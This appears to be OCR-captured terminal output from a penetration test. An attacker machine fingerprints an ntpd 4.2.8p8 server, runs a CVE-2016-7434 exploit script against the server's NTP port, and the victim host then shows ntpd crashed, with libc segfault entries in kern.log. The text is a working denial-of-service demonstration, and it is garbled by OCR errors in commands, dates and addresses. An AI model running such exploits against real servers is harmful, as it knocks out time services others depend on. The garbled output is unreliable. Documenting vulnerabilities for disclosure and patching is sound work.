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@ 1. pentest@Penux: ~/exploits (ssh)

pentest®Penux: $ ntpg 192.168.253.171

ntpge= readvar

associd=0 stotus=0615 leap_none, sync_ntp, 1 event, clock_sync,
version="ntpd 4.2_8p8&1.3265 Wed Nov 23 @8:34:45 UTC 2016 (1)",
processor="x86_64", system="Linux/3.16.0-4-amd64", leap=00, stratum=2,
precision=-24, rootdelay=46.228, rootdisp=244.078, refid=133.243.238.163,
reftime=dbel1039.03c97660 Thu, Nov 24 2016 16:07:37.014,
clock=dbel1845.281f7ba3 Thu, Nov 24 2016 16:07:49.156, peer=26227, tc=6,
mintc=3, offset=15.138734, freguency=47.015, sys_jitter=3.760836,
clk_jitter=4.413, clk_wander=0.00@

pentest@Penux: $

pentest®Pennd; $ python ./cve-2016-7434.py 192.168.253.171 123
[-] Sending payload to 192.168.253.171:123 ...

[+] Done!

pentest®Penux: 4

perntest®Penn; $ ntpg 192.168.253.171

ntpge> readvar

ntpq: read: Connection refused

ntpg> quit
pentest@Penux: 3 []
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@ 1. diag@testbian: ~/src/ntp-4.2.8p8 (ssh)

root@testbian:~# date
20165 118 248 *KMEHE 10:53:25 JST
root@testbian:~#
root@testbian:~# Jfopt/ntp/sbin/ntpd
root@testbian:~#
root@testbian:~# fopt/ntp/bin/ntpg -p
remote refid st t when poll reach delay offset jitter

*ntp-b3.nict.go. .NICT. lu 12 b4 1 300.167 125.370 0.000
ntpl. jst.mfeed. 133.243.236.17 2 u 11 &4 1 118.38 37.707 ©.000
ntpl. hpce. jp INIT. 16 u - 64 @ 9.000 0.000 0.000
root@testbian:~# date

20165 11R 248 *RMBE 10:54:10 JST

root@testbian:~#

root@testbian:~# Jopt/ntp/bin/ntpg -p

Jopt/ntp/bin/ntpq: read: Connection refused

root@testbian:~#

root@testbian:~# lsof -i -n -P -R | grep ntp

rootetestoian: ~# | |
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/var/log/kern.log DNE

root@testbian:/var/log# cat kern.log | grep ntp

Mov 23 15:09:24 testbian kernel: [ 9.916088] Mountpoint-cache hash table entries: 1024 (order: 1,
R147 e

Nov 23 17:40:01 testbian kernel: [ 9050.273061] ntpd[49715]: segfault at @ ip @00O7f685a2cfc3a sp 00
P07 ffde7089588 error 4 in libc-2.19.s0[7f685024000+1a1000]

Mov 23 20:085:25 testbian kernel: [ 9.811194] Mountpoint-cache hash table entries: 1024 (order: 1,
8192 bytes)

Nov 24 10:50:23 testbian kernel: [ 8879.484395] ntpd[49264]: segfoult at @ ip @00O7f3b7bc8dc3a sp 00

P07 ffe89288998 error 4 in libec-2.19.s50[7f3b7bcOcODd+1a1000]
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